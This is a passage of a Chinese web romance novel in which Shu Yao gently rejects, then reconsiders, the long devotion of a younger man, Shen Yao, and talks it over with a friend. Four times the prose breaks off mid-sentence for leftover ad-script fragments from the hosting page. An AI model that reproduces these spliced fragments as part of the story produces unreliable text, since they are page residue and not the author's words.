沈曜颇感意外地掀起眼帘,语气茫然中夹着焦急。 他微微挺直上身,凝视她的眼眸中,有遥远寒星般的光芒闪动起来,“什么不是?你把话说清楚。” “我不是觉得你年纪小。”舒瑶诚恳地望着他,眼神里不见一丝怠慢和轻视,“我不是因为这些原因拒绝你。” 沈曜瞬时懵了,他觉得自己已经足够聪敏,可面对舒瑶,他还是没猜透她的想法。“那……那你是因为什么和我道歉?” 舒瑶笑得从容,她轻柔而沉稳地握着自己手中的茶杯,用心感受茶汤透进掌心的温暖,“我不是个会自卑于自己年龄的人。我觉得我现在的一切都很好,工作稳定、前途光明,父母康健,也不催我恋爱结婚。所以你所说的年龄差,在我眼中不是问题的根本。我并不自卑于自己比你年长,更不惧怕他人的眼光,他们没资格定义我的感情和生活。” 沈曜凝望面前的漂亮女人,胸口砰砰然悸动着。 她由内而外散发出的自信光彩强大而迷人,给人十足的安全感和说服力。 “那你觉得我幼稚,还是觉得我不定性会变心?”似是被她无声散发出的安稳磁场感染了,沈曜握紧面前的那杯茶,急切地追问道。 “也不是。”舒瑶微微摇了摇头,笑意不减,“按你说的,你喜欢我也好几年了吧。既然时间和空间都没能阻断你对我的感觉,我又凭什么不相信你的感情。你在我这里,连我觉得最不可能的难关都过了。我当然相信你对我的喜欢绝对出自真心。” 沈曜的眼眶浮起一层粼粼的泪光,他本不是那么容易受感动的人。 他的心跳越来越快,他感觉自己所有的血液都在顷刻间冲进了他的心房。 没有什么能比朝思暮想、念念不忘的人给于自己感情的肯定,更能让他在心灵上获得抚慰和极致的满足感了。 他觉得那有口难言的两千多个日夜的忍耐、纠结、思念和情感,在得到女人承认的这一刻都是值得的。 他曾试想过无数次,女人会因为年龄差、社会上或明或暗的对于姐弟恋的偏见、或是对他情感的怀疑、安全感的匮乏等这些世俗常见的理由而拒绝他。 哪怕是这些年的魂牵梦萦。 他在梦中梦见和她告白,她都因为年龄差、社会舆论等理由而拒绝自己,而他每每总是由于这些理由和她在梦里激烈的争吵,继而在太阳升起后又心怀不甘的苏醒。 这样让他备受打击而消沉的梦,他做过无数次。 然而在现实里,就在他向她表白的今晚,以往那些梦里假设的场景并没有发生。 女人的内心足够强大,一一将他所忧心伤神的因素逐一摧毁,彻底瓦解。 有了今天的表白和她拒绝自己的解释,他觉得自己以后再也不会做这类噩梦了。 “你不担心我对你的喜欢只是因为长距离而加了假想的滤镜吗?不担心我如果真的见到你,幻想会破灭?”沈曜又敏感的想到一个问题。 舒瑶歪歪头,反问他,“谁一开始的喜欢,不是因为给对方加了滤镜?谁又能保证这个滤镜随着深入接触而一直不幻灭?”。 沈曜被她的反问堵得哑口无言。是啊……爱情一开始产生,都是自动带有滤镜的。 舒瑶接着说:“这不是单单存在于你我之间的问题。只要是喜欢,换了谁都会面临这种事。既然大家都一样,那对我俩来说当然也算不得问题了。本题Pass。你还有什么其他疑问?” 面临这场表白与拒绝的拉扯较量,两人的位置在此时彻底颠倒了。 尽管在一开始他的坦率直白为他赢了一筹,可是到了深入交谈时,沈曜仍在不知不觉中落了下风。 沈曜将她的话在脑中消化片刻,只觉得醍醐灌顶。 他在心里不得不感叹一句:姐姐,还得是姐姐。 舒瑶的思路异常清晰,针对问题的关键一针见血,完全没落入这种世俗常见的情感问题的惯常思维里。 对着眼前逻辑清晰、言辞达意的女人,沈曜觉得自己对她的迷恋更浓了。 她的人格魅力足够使自己沉迷。 “那你究竟是为什么和我道歉?”越猜不透她,沈曜越是想要接近和了解她,这种心理促使他追问到底。 舒瑶刚才真的费心思考了很久,她自己也知道。 可是如果不冷静又慎重的深思熟虑,她觉得自己对不起男生长久以来的一片深情。 所以在得出结论之后,她放柔语气,开始一点点地引导式的与他说明,尽力将对他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的伤害减到最低。 “其实原因很简单。”舒瑶说话的声调很温柔,语速也不快,却给予安抚人心的力量,她不答反问道:“我俩多久没见了?多久没像现在这样好好说过话了?” 沈曜顺着她的话想了想,“四年多。”如果不算自己单独看见她的那次来算。 “是啊。”舒瑶轻轻叹了口气,“时间过得真快。好像眨眼之间,这四年就一晃而过了。” 沈曜对此也深有感触。 “四年以来,我变了很多。你变化更大。如果你现在走在街上,我一眼看过去,肯定不能马上认出你。”舒瑶望着眼前的青年,澄澈清亮的眼眸里找不到一丝杂质。 沈曜的视线被她迷人的墨色同仁吸引,根本挪不开分毫。 她又道:“我们彼此都已经生疏了很多,所以,只是就事论事单纯而论,我怎么会无缘无故的对你动情?” 沈曜心灵震了一下,瞳孔也跟着颤了颤,“就这么简单?” 舒瑶态度肯定地颔首,“对呀。就是这么简单。对着很久都没联系过的你,对于我来说现在像个陌生男人一样的你,我对你没产生男女之情,这很正常吧?” 太……太有道理了! 沈曜服气了。预想的那些伤心难过被舒瑶逻辑清晰、真诚相待的话语全部化解了。 他此时再次明白,他喜欢上舒瑶,心甘情愿的为她臣服,是多么的顺其自然。 见到对面男孩安宁的神态,舒瑶微微一笑,手掌摸着杯壁透出的温度,提醒他道:“喝口茶吧。现在的温度正好,茶香清幽,茶汤温润,恰是最佳的品尝时机。” 沈曜开怀地点点头,拿起纯色无暇的茶杯浅饮一口,果然不烫不凉,茶香仍在。 这杯茶就像他心底原本岌岌可危的希望,被她的温柔和强大保护的很好,再次犹如烛火一般被点燃了。 “那……我能追你吗?”沈曜细品了茶水的香气和滋味,将其咽下,接着问道。 “啊?”舒瑶的杏仁眼因他的提问睁大了几分。 刚刚自己才把他拒绝了呀…… 这小子就出连招了? “给追吗?姐姐。”男生的声音本就好听,此时喁喁地低喃传入耳内,无端让人觉得酥麻。 50.真相 星球小夜灯一明一暗,天花板上被映出星星点点的浅金色星河也跟着忽闪忽闪。 刚洗完澡的舒瑶将披肩长发盘起梳了个丸子头,趴在床上,漫无目的地按着小夜灯上的开关,任由自己发呆。 今晚从沈曜那儿接收的信息量有点大,她虽然表面处理得当,但心里还是有余波在盘旋震荡。 沈曜对她的长情,打破了以往她对感情的认知。 这真的可能吗?一个男人,真的能在好几年都完全不见喜欢的人的情况下,一直喜欢她? 沈曜长得那么帅,追他的人必然很多。 他在这段青春躁动的年纪,是怎么顶住那么多诱惑,只专一的喜欢着远隔千里的自己呢? 这种事,想想都觉得不可思议。 更何况,它还是发生在自己身上。 “瞎!那些什么男性心理学,都是假的吗?!”舒瑶轻轻捶了一下床,翻身躺平,望着天花板上被星球灯的光芒描摹出的金色星河,开始整理思路。 不算男生初中时对自己有懵懂好感的那两年,从他高一开始算起一直到现在,也得至少有五年多了吧…… 在这么长的一段岁月里,他们见面的次数加起来总共有五次吗? 舒瑶伸出一只手比划。 好像没有…… 不过男生初三毕业以后到高一的那段时间,一直频繁的和自己视频通话,这些也勉强算进去的话,那算是……网恋? 舒瑶嘴角不禁抽搐了两下。 她将视线固定在天花板的星河里那颗最亮的星星上,目光涣散须臾。 她开始仔细思索及判断之前所查阅过的心理学知识。 任何关于心理学的书籍,所阐述的观点应该都是共性。 作为世界上最复杂的生物——人,都是有其独特的个性的。 所以,是沈曜性格里偏执的那部分,才导致他在感情上表现出异常的执着吗?应该也和他从小的成长环境、经历有很大关系吧。 回想起今晚沈曜对自己的表白,她到现在都还觉得难以置信。 “唉……”舒瑶揉了揉脑袋,想不明白。 不过,在最初听到他和同学在自己相亲后面那桌的对话,他同学也都提及他对前女友念念不忘好几年。 等等,好像有哪里不对? 他对前女友念念不忘…… 前女友??? 脑中灵光一现,根据之前在餐厅不小心听到他和他同学的对话内容,舒瑶蓦然记起这小子好像谈过一个女朋友的。 自己差点就被忽悠了! 如果不是回想起这些信息,她今晚就把这男生的“长情”给当真了! 还好还好……幸亏自己记忆力好,又细心,不然就要被骗了。 舒瑶有点恼怒地拿起手机,给那滑头的小男生发消息。 [舒瑶:你高中的时候是不是谈过一个喜欢了很多年的女朋友?] 舒瑶一下子从床上弹坐起来,把手机放在自己面前,抱臂盘腿等着揭开这小子虚假长情的真面目。 对方火速秒回。 [沈曜:听谁瞎说的,没这回事。] 啧啧……这手速,不知道的还以为是在专门等她消息呢。 舒瑶挑起一边眉毛,手指在手机上戳戳戳,用力打字。 [舒瑶:上次在餐厅,就我相亲那次,听你同学提到的。] [沈曜:我的钱包有次被他们无意中看到过,我就稍微提过一句。都是他们混闹瞎猜的。] 钱包?怎么忽然提到钱包了?和钱包有什么关系? 不是在说那个“念念不忘的前女友”吗? 舒瑶莫名其妙地抓了下头发,一脑袋问号。 等了十几秒,对方的消息又发过来。 [沈曜:不过,只要她承认,我不介意我多个前女友。] [舒瑶:什么意思??] 怎么越说越糊涂了?舒瑶不自觉地抠了抠眉毛。 这次隔了约莫快一分钟,沈曜才发来消息。 新来的消息是一张被夹在钱包里的照片,因为有PV膜的保护,照片的色彩依然鲜艳。 舒瑶点开照片放大一看,心里惊了一下。 那是她自己的一张自拍照。看角度,还是好几年前她发在朋友圈里的,那时候的自己还在读大四。 这小子那时候就开始存自己照片了? [舒瑶:你这么早就存我照片了?] [沈曜:那时候还不太懂事。就单纯觉得好看,就存了。] [舒瑶:那你存过别的女孩的照片吗?] [沈曜:没。就只存过你的。] [舒瑶:……] 果然如他所说,在他还不懂什么是喜欢的时候,就对她动了心思了? 舒瑶抿抿嘴,将手机往枕头边一扔,不回他消息了。主要是她不知道接下去该回他什么。 男生的消息此时又冒出来一条。 [沈曜:承认吗?前女友。] 透过手机屏幕,舒瑶几乎都能感觉到他嘴角挂着有点嘚瑟又有点甜的笑意。 舒瑶轻轻叼着下嘴唇,假装自己没看见消息。 紧接着,又是一条。 [沈曜:只要你承认,我就是有前女友的。] 又一条,节奏跟得很紧,像是在温柔地诱哄,又像是在调情。 [沈曜:并且现在正在努力求复合中,争取把她变成现女友。] 舒瑶看着这小男生一条接一条不停发来的消息,好气又好笑。 这是在调戏谁呢?! 胆儿挺肥啊。 她不自觉地被他逗得翘起嘴角,又开始和他较劲,抠手机的指尖都用了几分力气。 [舒瑶:不承认。脑补帝,要不起。(撇嘴.jpg)] [沈曜:哦。] [沈曜:那我努努力。把脑补变成现实。] 舒瑶傲娇地哼了一声,皱皱鼻子,扔下手机不再回他消息了。 在床上伸展手脚,把自己摆成大字型地躺了一会儿,舒瑶又想起沈曜左手中指上的那枚戒指。 那戒指出现在脑海中的频率太高,让她有些介意。 那个款式,怎么看怎么眼熟。 好吧……她承认,今晚她的脑子里是沈曜的专场了。 毕竟两人曾有那么多的共同回忆,私交不浅,现在还掺着工作的联系。 她没办法拿他当做以前那些关系很单一的男同事或是男客户来看待。 舒瑶认命地闭了闭眼,脑中一直想着沈曜那枚戒指上∞的符号。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 片刻之后,那戒指和自己诸多耳饰中的一款在记忆中连上了号。 舒瑶心里仿佛划过一道晶亮的流星。 她再次一个弹坐从床上爬起来,去梳妆台那边拉开最下面的抽屉,打开一个半旧的、边沿已经有轻微磨损痕迹的首饰盒,在里面一通东翻西找。 这个首饰盒是她专门放置不再佩戴的耳饰和项链的。 有些是旧的褪色没法戴了,有些是有一些特殊纪念意义的,总之就是不能戴又舍不得扔的,都被她收在这个盒子里保存着。 找到了! 舒瑶从一堆各式各样的耳坠中翻出一对带有∞符号的半旧圆环形银耳坠,又在首饰盒下层里翻出了一条同款的银项链。 这是五年前沈曜高一寒假那年来海城,两人在电影开场前逛饰品店,他趁她不注意买下来送她的一套银首饰。 后来舒瑶得知了他对她有异样的心思,就将这两样饰品收起来,再也不戴了。 因为许久未曾佩戴,此时这两样饰品已有些褪色,颜色发黯,不复当初刚买时的光润。 舒瑶将它们捧托在掌心里左右观察,心情颇有点复杂。 沈曜手中那枚戒指,看质地和款式,应该和这两样首饰是同一系列的? 这两样小东西因为数年失了她这位主人的宠,在自己这儿已经变成了被遗忘的闲置物品。 然而与它们同款的戒指,却被那个曾经的少年视若珍宝,每天佩戴,与主人形影不离。 舒瑶轻轻咬了两下嘴唇,将项链和耳钉整齐地摆在梳妆台上,拍了张照片发给沈曜。 [舒瑶:你手上那个戒指,是和这对耳饰和项链同款的吧?] 男生又是秒回。 [沈曜:是。] 舒瑶眨眨眼,怔了一会儿。看来这家伙一直在等自己的消息? [舒瑶:什么时候买的?] [沈曜:高二暑假。] 是他以为自己结婚的那个夏天。 舒瑶再次放下手机,心情莫名沉重起来。 她回想起这套饰品当年的广告文案: ——不论从哪里开始,都可以与你重新相遇。 舒瑶盯着耳环和项链出神。沈曜对自己的心意似乎正通过这些饰品上的∞符号传递过来,成为链接她的心的神奇魔法。 一阵又一阵的感动细细密密漫上心头,不强烈,却源源不绝,在这个带有些微凉意的夜晚一点点的散发温暖。 她以前从没遇见过这种只会在小说里出现的男生,也完全不知道与自己曾亲近的这位弟弟会是这样的男生,一时不知该拿什么态度面对他。 舒瑶有些狼狈地匆忙按下手机的锁屏键。 她现在不想再问下去了,问这男生为什么要去买这个同款戒指。 答案已经昭然若揭。 她觉得自己的心已被这些信息搅动得十分柔软,还有一丝不知名的酸涩。 可是手机那头的男人很明显不想错过表达情意的任何机会。 微信的消息提示音再次响起,仿佛通过耳膜硬闯进她的心海里。 舒瑶没退出和男生的聊天对话框,犹豫了一阵,又忍不住解锁屏幕,眼睁睁看着那行消息显示出来,她甚至觉得有些无措地心颤。 [沈曜:因为不想忘记你。] 51.不眠夜 [沈曜:不想忘记你。] 简简单单几个字,却能直击心房。 即使当时误以为她快要结婚了,沈曜对她的喜欢依然固执。他当然知道不能去打扰结婚的她,所以他后来几乎不再联系她。 可他也不想违背自己的心。 就这么自己和自己较劲地耗着……任由时间磋磨。 耗到什么时候耗不下去了,也就能忘记她了吧。 - 虽然舒瑶对沈曜的印象和感觉还停留在他的学生时代,但男生的长情却让舒瑶十分触动。 “长距离恋爱是不可能的”这句在舒瑶心里根深蒂固的魔咒,男生以其实际行动破除了。 盯着那条消息良久,舒瑶叹口气,回复过去。 [舒瑶:不要影响彼此的工作。] [沈曜:今晚你在茶室已经说过了。我会注意的。] [舒瑶:不早了,睡吧。晚安。] [沈曜:晚安。] 回完消息,舒瑶心底的震荡余韵还是很深。 她起身给自己热了半杯牛奶,喝完之后躺下闭眼一小时,脑子里仍然乱乱的。 大脑皮层并没传来困意的指令,舒瑶急需有个人和自己一起消化今晚巨大的信息量。 她给林娓娓发去了消息。 [娓娓,睡了吗?] 对方显然也正在抠手机。 林娓娓一直是个熬夜党。 [什么什么什么?你这么晚还给我发消息,我是又有什么午夜小剧场可以观摩了吗?] 舒瑶瞅着屏幕,笑了一声。 这闺蜜就是八卦的小逗比。 [是啊。你想听吗?宵夜免费大放送。] 眨眼间,林娓娓的语音请求就弹了过来。 舒瑶戳了一下绿色的听筒键,语音接通。 “干嘛呢?怎么蔫了吧唧的?”林娓娓瞧出好闺蜜兴致不太高,揶揄道:“这几天熬大夜了?” 舒瑶抹了把脸,低声说:“没。就是有点被颠覆了认知。” 林娓娓缩在柔软的被子里拱了拱,调整了一个更舒服的姿势,一脸“我很有兴趣”的表情,“快说,我已经洗耳恭听了。” 舒瑶轻轻磨了磨嘴唇,犹豫起来:“沈曜他……” “沈曜?你等等!”林娓娓一听是这个大帅哥的名字,顿感狼血沸腾,腾地一下从被窝里钻出来,甚至还拿了个靠枕垫在身后,所有动作一气呵成。 她有预感,舒瑶接下来要说的事,绝对是个超级大招,能让人血压或血糖飙升的那种。 这一顿操作猛如虎,把舒瑶都给看愣了,“你这是什么战斗姿势?” “哎呀这些都不重要!你快点说!”林娓娓异常兴奋,两眼几乎要冒出绿光。 舒瑶深呼吸一下,才认命地说道:“沈曜他今天和我表白了。” 林娓娓那边的画面顿时静止。 舒瑶等了五、六秒,她还是不动,眼睛都不带眨一下的。 舒瑶微微抬起上身,举起手机左右晃了晃,试图调整信号接收区域:“娓娓,娓娓,你卡了吗??” 没反应。 就在舒瑶准备挂掉重拨的时候,林娓娓的眼睛忽然瞪得溜圆,开始轻声抓着被子尖叫:“啊啊啊啊啊啊啊!!!” 舒瑶一脸麻木地瞧着她。 没事,面对这个疯小妞,这种场面她见多了。她就静静地看着她发疯,等会儿就好了。 “这是我能听的深夜小剧场吗?!!!哦漏!”林娓娓直接把大脸怼到摄像头前,激动不已,“我说什么来着?他就是喜欢你!我去……憋死我了,憋了我好几年!他可终于成年了!!!” 听她越说越离谱,舒瑶嗤嗤笑起来,“你的演技好夸张……” “你不懂!言情文秒变现实,男主角还是个超级长情的撕漫男,这剧情对我们这种喜欢磕甜文的观众的喜悦不亚于中了□□!”林娓娓的眼睛终于冒出了绿光。 “他今天不是才第一天去你们公司实习吗?”林娓娓紧接着问。 舒瑶叹道:“对啊。你说这小子胆子大不大。” 林娓娓嗨了一声,“我早就料到了。不是早就告诉过你嘛。这小家伙是狼狗中的狼狗,一般人hold不住。” 一阵激动之后,林娓娓才有点缓过来,想到和舒瑶同样的问题,“你不是说他之前谈过一个喜欢好几年的女朋友吗?” 嗯?这剧情有点熟悉。该不会是…… 林娓娓将疑问在脑中转了个弯,猜测地问:“是不是有误会呀?他喜欢的其实一直都是你吧?” 舒瑶淡定坦白,“嗯。误会了,那个传说中的前女友就是我。” 谣言要不得。 林娓娓乐滋滋地拍了一下床垫,“你看看!我说什么来着!凭我的直觉,我就知道我没看错人!” “等等!”林娓娓想到一个更严重的问题,“你给他的回答呢?你不会让我悄悄关注了好几年的言情文BE了吧?!” 舒瑶抬眼望了望天花板,嗫嚅道:“不至于一下子就BE。” 林娓娓瞪眼:“什么意思?” “我只是说了我对他没那种感觉。”舒瑶现在回想起来,都觉得她和沈曜之间完全没可能。 林娓娓一直知道,舒瑶喜欢成熟稳重的类型。就算不能比她大几岁,好歹为人处世也得和舒瑶自己差不太多吧。 可是很显然,沈曜绝不会在舒瑶的择偶范围之内。 面对闺蜜,舒瑶没什么可隐瞒和顾忌的,说得很直白: “我认识这小孩儿很久了。他初二那会儿就认识了,脾气臭、执拗、嘴欠、情绪不稳定……这人设和我心里的理想男友差距真的太大了。我没法把他当做我喜欢的‘男人’类型来看待。他一直让我觉得,他是个需要我去照顾的弟弟,而不是和我站在同一水平线上的‘男人’。你能理解我吗?” 林娓娓沉默了。 不论长相,一对恋人要长时间的相处下去,对方的脾气和性格确实是一项重要的考虑指标。 以舒瑶现在没两年就要三十的年纪,“只选择,不培养”才是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她的择偶标准。真要找个心智不成熟、脾气阴晴不定的弟弟恋爱,即便再帅,时间长了那也会很心累。 但林娓娓还是觉得可惜,劝她:“要么你和我一样,先谈着试试。不合适了就赶紧撤。毕竟这么长情又这么帅的男人,打着灯笼都找不到。” 舒瑶无奈地笑驳:“喂喂喂。我可不习惯你那套‘及时止损’的恋爱观,我是‘防患于未然’那一派的。不轻易开始,也不轻易结束才是我的风格。否则太浪费彼此的时间和精力了。” 想了想,舒瑶又补充道:“再说,不管他适不适合我,他能牵挂并喜欢我这么多年,都挺让我感动的。如果我抱着轻率的态度和他稀里糊涂的开始,后面又不了了之,我觉得才是真的对不起他。” 林娓娓往深了思考,觉得舒瑶说的很对。“也是,我赞成你的想法。对这位小男生,还是慎重些吧。他不是能随便陪你玩玩的对象。” 舒瑶点头:“是啊。要不起,感觉好沉重的样子。血气方刚的大小伙子,这么几年能坚持着熬下来,不能拿他当普通男人看待。” 林娓娓深感同意。顿了会儿,想起KTV那晚沈曜令人惊艳的长相和身材,她忍不住又问:“那他呢?小朋友被你拒绝,是不是很伤心?” 不提还好,一提起来,舒瑶的神情竟然变得明朗起来,“有一点你还真的说对了。这小男生就是狼狗中的狼狗,不轻易认输。他居然立刻问我,能不能给个机会追我。把我都给问懵了。” 没想到剧情竟然有反转,林娓娓听的一颗少女心波澜起伏的。 “哇哦……怎么办。你亲闺蜜我想当墙头草了。我的心一会儿偏向你,一会儿又偏向他。选择好困难啊~” 舒瑶摊摊手,“还能怎么办?不论公事,他和我还是有私交的。我又不能真的不理他。就正常相处呗。我告诉他不能影响彼此工作,他同意了。” 两人于公于私都有牵扯,一时半会儿的,当真有些纠缠不清。 林娓娓:“目前看来,你也只能先这么办了。” 这男生不但长情,还能隐忍,不但能忍,还心机深沉、思维缜密,这理不清的追求局布得想当精心。 想来他会考到海城的大学,应该也不是一时兴起。 能守又能攻,足见其心智绝对不幼稚。这么多年的惦记和情感煎熬,已经把这男生的心理淬炼得很坚韧了。 林娓娓嘴上不再多说什么,心里却有种预感。她觉得舒瑶的真命天子来了。 ——舒瑶这次得栽。 当然,过程不一定那么顺利,应该还会拉扯很久。 毕竟以舒瑶的精明和对另一半的选择谨慎也不是假的,不然她不可能耐得住这几年的空窗期。 但是就料想的结果来看,林娓娓乐见其成。 所有恋爱都不是一帆风顺的。 如果那两人能磨合得好,自己亲眼见证闺蜜栽进幸福里,想来也是人生一大乐事。 这样一个夜晚,深沉又暗流涌动,不论是对舒瑶还是对沈曜,都是个令人辗转反侧的不眠之夜。 52.桀骜(一) 沈曜和舒瑶表白的第二天是星期六,这一天不需要去公司加班。 舒瑶睡了个小懒觉,九点多才醒。 昨晚的事让她睡得并不安稳,翻来覆去好一阵子才入睡,起床以后仍觉得有点困倦。 洗漱一番之后,舒瑶用咖啡机煮了一杯清咖,用牛奶泡了麦片,煎了一个鸡蛋,切了一点哈密瓜,一顿简单又丰盛的早餐便做好了。 将早餐逐一摆上餐桌,她在吃早饭前习惯性地会翻看微信,回复几条工作上的消息。 处理完公事后,她看见沈曜的头像旁有个小红点,点开来一看,是一条“早上好”,之后他就没发别的信息过来了。 舒瑶看了眼他发消息的时间,是早上八点半,时间并不算太早。 这小男生是猜到自己在睡懒觉了吧…… 舒瑶回忆起他初中那会儿刚加自己微信时,给她发消息的时间好像是早上七点还不到。 这小子直到现在还是习惯早起吗? 好自律啊。 舒瑶拿了个皮筋,将披散在肩上的头发简单扎起后,给他回了个“上午好”,放下手机开始悠然地享用早餐。 吃完早饭,她打开笔记本电脑,将一周的工作从头到尾梳理一遍,又仔细复查下属们这一周发来的各类数据和报告。 一直忙到快十二点才结束。 她站起来撑了个懒腰,做了几个拉伸动作,打开手机瞄了眼微信,不见沈曜有任何新消息发来。 舒瑶对此表示满意。她发觉沈曜虽说要追求自己,但挺有分寸感,并不怎么黏人。 这多少使得她在心理上轻松不少,没感觉到太大的压力了。 接下来的两周,沈曜所表现出的分寸感更是让舒瑶对他刮目相看。 沈曜每周会在周二和周五的下午去舒瑶的公司实习,偶尔还会在他们临下班的时候赶过来帮点零碎的小忙。 只要是在公司里,他对她的称呼都是“组长”,十分守规矩。 除了工作以外,他不会和她说任何与工作无关的话题,更不会在她没召唤他的时候随意找她闲聊。 和同事们相处也自然融洽。 沈曜不是八卦的性格,但当同事们在聊天胡侃的时候,他会在一旁静静地听,偶尔翘翘嘴角。 但一旦过了下班时间,但凡他在公司的日子,就一定会约舒瑶一起吃晚饭,吃完晚饭就会送她回家。 期间也不会和她提些有的没的,更不会说腻歪歪的情话,两人相处的模式竟然和沈曜表白前相差无几。 舒瑶并不喜欢自己的私事被同事们注意到,尤其是八字还没一撇的事。作为A组的领导者,与组员们保持好适当的距离是管理者树立威信必不可少的手段。 于是刚开始想要提醒沈曜注意分寸的舒瑶对于准备已久的劝教话术毫无用武之地。 因为沈曜比她还要谨慎,每次约她吃饭都是发微信,从来不会在公司里泄露一丁半点儿的言语。 舒瑶一边在心里感叹沈曜不光是外在和以前不一样了,就连私下里都变化很大。 以前的他面对自己,情绪更外露,高兴和不高兴都会直接表现出来,现在的他却变得沉稳许多,好像没什么事会让他瞬间翻脸。 舒瑶不得不在心底感叹,这小孩儿是当真长大懂事了。但同时她也会反思,思考自己以前对沈曜脾气臭、任性的性格认知到底是不是正确的? 也许他只在和熟人在一起时,才会情绪外放一些? 毕竟以前他们都是私下里来往,从来没在集体中一起相处过。 直到沈曜进公司实习后的第二周接连发生了两件事,才让舒瑶真正认识到,这男生的桀骜是刻进骨子里的。 只不过随着他年纪的增长,被他隐藏的很好。 - 三月中旬,仲春节气还未过去,海城的气温已像憋了很久似的,节节攀升。 绿化带和公园里的黄梅花未谢尽,艳红的海棠已悄然初绽,白玉兰开得正茂盛,甚至有少许粉红桃花也忍不住含苞待放。 直到这些花儿们隐约展露出争奇斗艳的姿态,给这个春天染上了姹紫嫣红的色彩,空气中弥漫着或清冷或芬芳的花香,忙碌的海城人们才意识到春天竟已过去快一半了。 星期五的中午时分,吃完午饭的舒瑶和组员们一起在办公楼下的小公园里散步,消食赏花的同时,还偶尔聊聊公事。 “悦儿,晚上和汉广文化聚餐的餐厅预订,你下午再打电话去确认一下。”舒瑶叮嘱梅悦儿。 这次晚餐是确定五一期间汉广文化展览的最终方案的一次预前反馈,对于彼此后续的方案执行是否愉快顺利起着非常重要的促进作用。 之前的执行计划案,舒瑶他们与汉广文化已经来回沟通和修改了六、七次稿件,达成了初步共识。 只要今晚不出差错,下周的活动执行计划就能正式与对方完全拍板定稿了。 因此舒瑶对这个饭局极为看重,不敢有半点儿马虎。 梅悦儿欣然道:“好的组长。对了,晚上的饭局徐桢和钱晓蔓都有事不能去,要换沈曜去吗?” 这种半正式的合作聚餐,人数是很有讲究的。多了会显得像蹭饭,少了又会给对方不够重视或气势不足的感觉。 舒瑶思忖片刻,点点头,说:“好,带上他吧。之前两周他一直有参与到这个方案的讨论里,后续和活动执行的分包商也会有不少校对物料和整理库存的事情要他一起帮忙。” 从私人角度来说,舒瑶也希望让他能够有机会参与一下这些场合,长长见识。毕竟他现在在自己手下实习,于公于私她都应该给他提供一些成长的机会。 梅悦儿开心地说:“好。等他下午来了我就通知他把今晚留给我们。” 把正事交代完,舒瑶稍微能松一口气。 风和日丽的天气,让她心情很愉悦。她微微笑着,伸出一个手指,轻轻点了点树枝上一朵开得正兴的白玉兰花的花瓣。 她这般难得的天真样子,恰好被来上班经过的沈曜瞧个正着。他凝在她脸上的眸子闪了闪,挑起嘴角快步走过去,对舒瑶和组员们招手打招呼。 男生今天穿了件略有些修身的黑色斜纹休闲西装,内搭白色中领线衫,下半身配的墨蓝色直筒休闲裤,从不远处走来,穿梭在白玉兰树之间,临风玉树,青春倜傥,让人想不注意都难。 舒瑶和组员们身边经过的几个女白领都不约而同驻足,对他频频投去目光。 不知道是不是阳光太耀眼的关系,瞧着那个年轻男人朝自己兴冲冲地走来,舒瑶不禁眯了眯眼睛。 梅悦儿兴高采烈地对沈曜招招手,“沈曜,晚上有事吗?” 沈曜来到舒瑶身边,视线在她身上流连了一瞬,才看向梅悦儿,对她浅浅撩了下嘴角,“没。怎么?” “晚上没事就和我们去聚餐吧。”说着,梅悦儿上下打量了沈曜一番,满意地直点头。 这个小朋友很懂得职场 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 穿搭。虽然是实习生,可是在上班期间的穿着向来纤悉不苟,根本用不着她这个小师父操心提醒。 “今天也穿得很帅啊。”梅悦儿笑道。 “只是穿得帅?”沈曜笑着反问,那双褶皱分明的大眼睛却又往舒瑶脸上看去。 舒瑶悄悄瞪他一眼,微微侧过身,错开他的视线。 “长得更帅。我们公司司草没错了。”钱晓蔓凑过来插话,一张满是笑意的娃娃脸直发光,还自豪地挺了挺脊背。 徐桢无语地看了这两个女人一眼,口头上却也附和道:“没错没错。好赖是咱们组的,我们都跟着沾沾光。” 舒瑶在一旁眨眨眼,似笑非笑地瞥了沈曜一眼,倒是没反驳。 沈曜朗笑几声,和同事们一起回办公楼里去了。 - 晚上的聚餐被安排在海城一所中高档的粤菜餐厅——荻花雅舍,时间定在七点。 今晚的聚餐人数比较多,汉广那边来了十个人,鸿轩这边也出了十个人。 单间的包间坐不下,所以梅悦儿提前一个星期就将荻花雅舍的连体包厢“惜汇厅”预订好了。 作为唯二的连体包厢之一,惜汇厅的装修比普通包厢要高级许多。 包厢大门不止更宽,在门上还搭了个仿紫檀木的古风庭院式的装饰性屋檐,每一根突出的椽面都雕着荻花图案。 厅门的两侧分立两根同色系仿真楹柱,左边柱面上刻着“飞蓬各自远”,右边那根则刻着“且尽手中杯”。 这是出自李白的《鲁郡东石门送杜二甫》的诗句。 寓意很明显,是希望来此厅中用餐的客人共享美酒佳肴,度过友好又愉快的珍惜时光,可见店家之用心。 单看聚餐的地点规格,沈曜就知道借由这次非正式商谈的晚餐有多重要。 鸿轩策划的首席执行官陈理杰带着其他两位高管人员和舒瑶、纪宥涵两位此项目的主要负责人落座一桌,另一桌上则是两家公司本次项目团队里担任主要职责的执行组员。 张宇哲、梅悦儿、沈曜和B组的两个组员都坐在第二桌。 菜品是在来之前就已经和汉广那边征询之后下单预订好的。 所以各人落座时,每个桌子上已摆放了八盘凉菜和饮品酒水。 一阵寒暄客套、推杯换盏之后,主桌那边就几个关键性的问题展开讨论,比如预算的控制、活动场地的筛选、活动流程管理等。 其中,有个刚才一直未曾参与讨论的汉广文化的高管向鸿轩策划的几人问道:“听说这次贵公司提出想以二次元和三次元结合的方式来做我们的汉服及饰品推广活动,这个想法很新颖,不知是在座的哪位想出来的?” 舒瑶与纪宥涵对看一眼,都在彼此眼中看出了疑惑。 这想法新颖吗? 现在文创产业蓬勃发展,将二次元与三次元结合进行宣传推广已经是主流操作了啊…… 舒瑶记得在之前来鸿轩策划面谈的那批汉广的高级管理人员里,没见过这位。他应该是新来的,也可能是新加入这个策划项目的。 陈理杰在此时将目光投向舒瑶,笑道:“舒瑶,你和郑总说说吧。他最近刚加入汉广,对咱们这个策划案不太熟悉。” 